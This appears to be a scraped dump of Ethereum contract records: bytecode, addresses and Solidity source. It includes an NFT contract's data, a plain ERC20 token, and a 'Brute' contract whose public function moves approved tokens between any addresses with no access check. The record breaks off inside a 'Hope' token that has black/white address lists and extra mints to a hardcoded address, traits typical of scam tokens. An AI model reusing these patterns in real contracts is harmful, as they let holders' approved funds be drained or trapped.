3520312c2d35207a223e3c2f706174683e3c7061746820643d226d2031342c313520312c3520312c2d35207a223e3c2f706174683e3c7061746820643d226d20362c37202d322c3220342c3420332c2d312056203130204c2031302e39353331332c392e39373037303320432031302e3733333035392c31312e31323733303220392e373231383239332c313220382e352c313220372e3131363636372c313220362c31302e38383333333320362c392e3520362c382e3731323836383120362e333639303438372c382e3032303335363620362e393335353436392c372e35363235205a204d20372e383836373138382c382e31333238313235204320372e333634343735372c382e3336373134313320372c382e3838393333363720372c392e3520372c31302e333320372e36372c313120382e352c313120392e33332c31312031302c31302e33332031302c392e352031302c392e34363331363320392e39393038382c392e343238373420392e3938383238312c392e33393235373831205a223e3c2f706174683e3c7061746820643d224d2031382c372031372e3036343435332c372e3536323520432031372e3633303935312c382e303230333536362031382c382e373132383638312031382c392e352031382c31302e3838333333332031362e3838333333332c31322031352e352c31322031342e3237383137312c31322031332e3236363934312c31312e3132373330322031332e3034363837352c392e39373037303331204c2031332c313020762032206c20332c3120342c2d34207a204d2031362e3131333238312c382e313332383132352031342e3031313731392c392e3339323537383120432031342e3030393132342c392e343238373339382031342c392e343633313633342031342c392e352031342c31302e33332031342e36372c31312031352e352c31312031362e33332c31312031372c31302e33332031372c392e352031372c382e383839333336372031362e3633353532342c382e333637313431332031362e3131333238312c382e31333238313235205a223e3c2f706174683e4552433732313a206f70657261746f7220717565727920666f72206e6f6e6578697374656e7420746f6b656e3c7061746820643d224d20352c3120562035204820312076203134206820342076203420682031342076202d342068203420562035204820313920562031205a223e3c2f706174683e4552433732313a20617070726f76652063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f76656420666f7220616c6c4552433732313a2062616c616e636520717565727920666f7220746865207a65726f20616464726573734552433732313a206f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b656e222c20226465736372697074696f6e223a202241207065726d61766174617220697320616e616c676f726974686d6963616c6c792067656e657261746564204e46542e2045616368207065726d61766174617220697320756e697175656c792067656e6572617465642066726f6d2038207479706573206f662066616365202f20657965202f206d6f757468202f20636f6c6f7220636f6d706f6e656e74732e20222c2022696d616765223a2022646174613a696d6167652f7376672b786d6c3b6261736536342c4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2f227d2c7b2274726169745f74797065223a20224d6f757468222c202276616c7565223a20224552433732313a20617070726f76656420717565727920666f72206e6f6e6578697374656e7420746f6b656e3c636972636c652063783d223132222063793d2231322220723d223130223e3c2f636972636c653e4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65724552433732313a207472616e73666572206f6620746f6b656e2074686174206973206e6f74206f776e3c7061746820643d224d2032312e3939393939392c31372e3737333530322031322c32332e35343730303520322e303030303030362c31372e373733353032206c20302c2d31312e35343730303434204c2031322c302e343532393935332032312e3939393939392c362e32323634393737205a223e3c2f706174683e3c726563742077696474683d223622206865696768743d22312220783d22392e373237393231352220793d22302e323037313036393222207472616e73666f726d3d22726f7461746528343529223e3c2f726563743e3c72656374207472616e73666f726d3d22726f7461746528313335292220793d222d31332e3232373932312220783d222d322e3239323839333222206865696768743d2231222077696474683d2236223e3c2f726563743e3c72656374207472616e73666f726d3d22726f74617465283435292220793d222d342e373432363430352220783d2231342e363737363722206865696768743d2231222077696474683d2236223e3c2f726563743e3c726563742077696474683d223622206865696768743d22312220783d222d372e323432363430352220793d222d31382e313737363722207472616e73666f726d3d22726f746174652831333529223e3c2f726563743e3c7061746820643d226d20362c31342063202d302e3535342c30202d312c302e343436202d312c3120762033206320302c302e35353420302e3434362c3120312c312068203132206320302e3535342c3020312c2d302e34343620312c2d312076202d33206320302c2d302e353534202d302e3434362c2d31202d312c2d31207a206d20312e352c31204320372e3737372c313520382c31352e32323320382c31352e3520762032204320382c31372e37373720372e3737372c313820372e352c313820372e3232332c313820372c31372e37373720372c31372e352076202d32204320372c31352e32323320372e3232332c313520372e352c3135205a206d20332c30206320302e3237372c3020302e352c302e32323320302e352c302e352076203220432031312c31372e3737372031302e3737372c31382031302e352c31382031302e3232332c31382031302c31372e3737372031302c31372e352076202d3220432031302c31352e3232332031302e3232332c31352031302e352c3135205a206d20332c30206320302e3237372c3020302e352c302e32323320302e352c302e352076203220432031342c31372e3737372031332e3737372c31382031332e352c31382031332e3232332c31382031332c31372e3737372031332c31372e352076202d3220432031332c31352e3232332031332e3232332c31352031332e352c3135205a206d20332c30206320302e3237372c3020302e352c302e32323320302e352c302e352076203220432031372c31372e3737372031362e3737372c31382031362e352c31382031362e3232332c31382031362c31372e3737372031362c31372e352076202d3220432031362c31352e3232332031362e3232332c31352031362e352c3135205a223e3c2f706174683e3c7061746820643d226d2031322c3134206320322e33332c3020342e33312c312e343620352e31312c332e35204820362e3839204320372e36392c31352e343620392e36372c31342031322c3134205a223e3c2f706174683e3c7061746820643d226d20382c313620312c3520312c2d35207a223e3c2f706174683e3c7061746820643d226d2031342c313620312c3520312c2d35207a223e3c2f706174683e4552433732313a20617070726f76616c20746f2063757272656e74206f776e65723c7061746820643d224d20362c342e3134353037323620332c32312031322c32332032312c32312031382c342e313435303732362063202d312e3034303038352c2d342e3335373934303132202d31312e3030343034352c2d342e3137333033343335202d31322c30207a223e3c2f706174683e3c7061746820643d224d20332e352c3139204320342e33332c313920352c31382e333320352c31372e3520352c31362e363720342e33332c313620332e352c313620322e36372c313620322c31362e363720322c31372e3520322c31382e333320322e36372c313920332e352c3139205a223e3c2f706174683e3c7061746820643d224d20342e352c3135204320352e33332c313520362c31342e333320362c31332e3520362c31322e363720352e33332c313220342e352c313220332e36372c313220332c31322e363720332c31332e3520332c31342e333320332e36372c313520342e352c3135205a223e3c2f706174683e3c7061746820643d224d2032302e352c313920432031392e36372c31392031392c31382e33332031392c31372e352031392c31362e36372031392e36372c31362032302e352c3136206320302e38332c3020312e352c302e363720312e352c312e3520302c302e3833202d302e36372c312e35202d312e352c312e35207a223e3c2f706174683e3c7061746820643d224d2031392e352c313520432031382e36372c31352031382c31342e33332031382c31332e352031382c31322e36372031382e36372c31322031392e352c3132206320302e38332c3020312e352c302e363720312e352c312e3520302c302e3833202d302e36372c312e35202d312e352c312e35207a223e3c2f706174683e3c7061746820643d226d2031322c31372e35206320322e33332c3020342e33312c2d312e343620352e31312c2d332e35204820362e3839206320302e382c322e303420322e37382c332e3520352e31312c332e35207a223e3c2f706174683e4552433732313a207472616e736665722063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f7665643c7061746820643d226d20382c31342063202d302e3535342c30202d312c302e343436202d312c3120762032206320302c302e35353420312e3434362c3220322c3220682036206320302e3535342c3020322c2d312e34343620322c2d322076202d32206320302c2d302e353534202d302e3434362c2d31202d312c2d31207a206d20312c312068203220762032206320302c302e353534202d302e3434362c31202d312c31202d302e3535342c30202d312c2d302e343436202d312c2d31207a206d20342c302068203220762032206320302c302e353534202d302e3434362c31202d312c31202d302e3535342c30202d312c2d302e343436202d312c2d31207a223e3c2f706174683e3c7061746820643d226d2031322c382063202d302e3938393439332c30202d312e383131322c302e383537363632202d322c32206820302e37353333313520432031302e3933353839342c392e3431383330322031312e3436363339392c392031322c39206320302e3533333630312c3020312e3036343130362c302e34313833303220312e3234363638352c31204820313420432031332e383131322c382e3835373636322031322e3938393439332c382031322c38205a223e3c2f706174683e3c726563742077696474683d223622206865696768743d22362220783d22352220793d2237222072783d2231222072793d2231223e3c2f726563743e3c726563742072793d2231222072783d22312220793d22372220783d22313322206865696768743d2236222077696474683d2236223e3c2f726563743e3c7061746820643d224d2031352e352c313120432031362e33332c31312031372c31302e33332031372c392e352031372c382e36372031362e33332c382031352e352c382031342e36372c382031342c382e36372031342c392e35206320302c302e383320302e36372c312e3520312e352c312e35207a223e3c2f706174683e3c7061746820643d224d20382e352c3131204320392e33332c31312031302c31302e33332031302c392e352031302c382e363720392e33332c3820382e352c3820372e36372c3820372c382e363720372c392e3520372c31302e333320372e36372c313120382e352c3131205a223e3c2f706174683e3c7061746820643d224d2031352e352c313120432031362e33332c31312031372c31302e33332031372c392e352031372c382e36372031362e33332c382031352e352c382031342e36372c382031342c382e36372031342c392e35206320302c302e383320302e36372c312e3520312e352c312e35207a223e3c2f706174683e3c7061746820643d226d2031352e3838383232392c31302e393438383839206320312e3630333433362c2d302e343239363420322e3732343336382c2d312e3432333632373720322e3530393534382c2d322e32323533343631202d302e3231343831392c2d302e38303137313835202d312e3638323536392c2d322e30353831353933202d332e3238363030362c2d312e36323835313936202d312e3630333433362c302e34323936333936202d322e3732343336382c322e33373937313534202d322e3530393534382c332e3138313433333720302e3231343831392c302e38303137313920312e3638323536392c312e31303230373120332e3238363030362c302e363732343332207a223e3c2f706174683e3c7061746820643d224d20382e313131373730372c31302e393438383839204320362e353038333334372c31302e35313932343920352e333837343032372c392e3532353236313320352e363032323232372c382e3732333534323920352e383137303431372c372e3932313832343420372e323834373931372c362e3636353338333620382e383838323238372c372e303935303233332031302e3439313636352c372e353234363632392031312e3631323539372c392e343734373338372031312e3339373737372c31302e3237363435372031312e3138323935382c31312e30373831373620392e373135323037372c31312e33373835323820382e313131373730372c31302e393438383839205a223e3c2f706174683e4552433732313a206275726e206f6620746f6b656e2074686174206973206e6f74206f776e4552433732314275726e61626c653a2063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f7665643c636972636c652063793d223130222063783d2231322220723d2239223e3c2f636972636c653e3c726563742077696474683d22313022206865696768743d22392220783d22372220793d223134222072783d22312e36363636363637222072793d2231223e3c2f726563743ea265627a7a72315820e1601c8272d8fbbf4d5427219ba5ac07df1813d06ad03f89a804155be260905564736f6c63430005100032
[ 4, 12 ]
0xf2bb85d6e55da09966d8aed2200ec69bcfe777c5
pragma solidity ^0.6.0; // SPDX-License-Identifier: MIT interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract ERC20Basic is IERC20 { string public name; string public symbol; uint8 public constant decimals = 18; event Approval( address indexed tokenOwner, address indexed spender, uint256 tokens ); event Transfer(address indexed from, address indexed to, uint256 tokens); mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; uint256 totalSupply_; using SafeMath for uint256; constructor( string memory tokenName, string memory tokenSymbol, uint256 total ) public { totalSupply_ = total * 10**uint256(decimals); balances[msg.sender] = totalSupply_; name = tokenName; symbol = tokenSymbol; } function totalSupply() public override view returns (uint256) { return totalSupply_; } function balanceOf(address tokenOwner) public override view returns (uint256) { return balances[tokenOwner]; } function transfer(address receiver, uint256 numTokens) public override returns (bool) { require(numTokens <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(numTokens); balances[receiver] = balances[receiver].add(numTokens); emit Transfer(msg.sender, receiver, numTokens); return true; } function approve(address delegate, uint256 numTokens) public override returns (bool) { allowed[msg.sender][delegate] = numTokens; emit Approval(msg.sender, delegate, numTokens); return true; } function allowance(address owner, address delegate) public override view returns (uint256) { return allowed[owner][delegate]; } function transferFrom( address owner, address buyer, uint256 numTokens ) public override returns (bool) { require(numTokens <= balances[owner]); require(numTokens <= allowed[owner][msg.sender]); balances[owner] = balances[owner].sub(numTokens); allowed[owner][msg.sender] = allowed[owner][msg.sender].sub(numTokens); balances[buyer] = balances[buyer].add(numTokens); emit Transfer(owner, buyer, numTokens); return true; } } library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce5671461022157806370a082311461024257806395d89b411461029a578063a9059cbb1461031d578063dd62ed3e1461038157610093565b806306fdde0314610098578063095ea7b31461011b57806318160ddd1461017f57806323b872dd1461019d575b600080fd5b6100a06103f9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100e05780820151818401526020810190506100c5565b50505050905090810190601f16801561010d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101676004803603604081101561013157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610497565b60405180821515815260200191505060405180910390f35b610187610589565b6040518082815260200191505060405180910390f35b610209600480360360608110156101b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610593565b60405180821515815260200191505060405180910390f35b610229610913565b604051808260ff16815260200191505060405180910390f35b6102846004803603602081101561025857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610918565b6040518082815260200191505060405180910390f35b6102a2610961565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102e25780820151818401526020810190506102c7565b50505050905090810190601f16801561030f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103696004803603604081101561033357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ff565b60405180821515815260200191505060405180910390f35b6103e36004803603604081101561039757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610be6565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561048f5780601f106104645761010080835404028352916020019161048f565b820191906000526020600020905b81548152906001019060200180831161047257829003601f168201915b505050505081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600454905090565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156105e157600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561066a57600080fd5b6106bc82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c6d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061078e82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c6d90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061086082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c8490919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109f75780601f106109cc576101008083540402835291602001916109f7565b820191906000526020600020905b8154815290600101906020018083116109da57829003601f168201915b505050505081565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610a4d57600080fd5b610a9f82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c6d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b3482600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c8490919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115610c7957fe5b818303905092915050565b600080828401905083811015610c9657fe5b809150509291505056fea264697066735822122002f7392d6f0a58c68f32de11eb00200a0fef461eee645571011428a59385cd2b64736f6c634300060c0033
[ 38 ]
0xf2bb87279e5e0d7291a88f01bfc82758f9180f65
pragma solidity ^0.4.24; contract ERC20 { function transfer(address receiver, uint amount) external; function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint256 tokens) public returns (bool success); } contract Brute{ function sendToken(address _contract, address _from, address _to, uint256 _value) public { ERC20 token = ERC20(_contract); bool sendSuccess = token.transferFrom(_from, _to, _value); } }
0x6080604052600436106100405763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416633c8c6a1e8114610045575b600080fd5b34801561005157600080fd5b5061008273ffffffffffffffffffffffffffffffffffffffff60043581169060243581169060443516606435610084565b005b604080517f23b872dd00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff858116600483015284811660248301526044820184905291518692600092908416916323b872dd9160648082019260209290919082900301818787803b15801561010957600080fd5b505af115801561011d573d6000803e3d6000fd5b505050506040513d602081101561013357600080fd5b50505050505050505600a165627a7a72305820492bc4732c62492a941cad2b67627c8cfbc9abed9501cf54a57a90515a65c1e50029
[ 17 ]
0xf2bb8bc4dee85c27854779a38edabb4919818ba8
/** *Submitted for verification at Etherscan.io on 2021-03-28 */ pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract Hope is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); _mint(0x88faAC1678c864d080d592BC15d1CdAdf01d7129, initialSupply*(10**18)); _mint(0x88faAC1678c864d080d592BC15d1CdAdf01d7129, initialSupply*(10**18)); 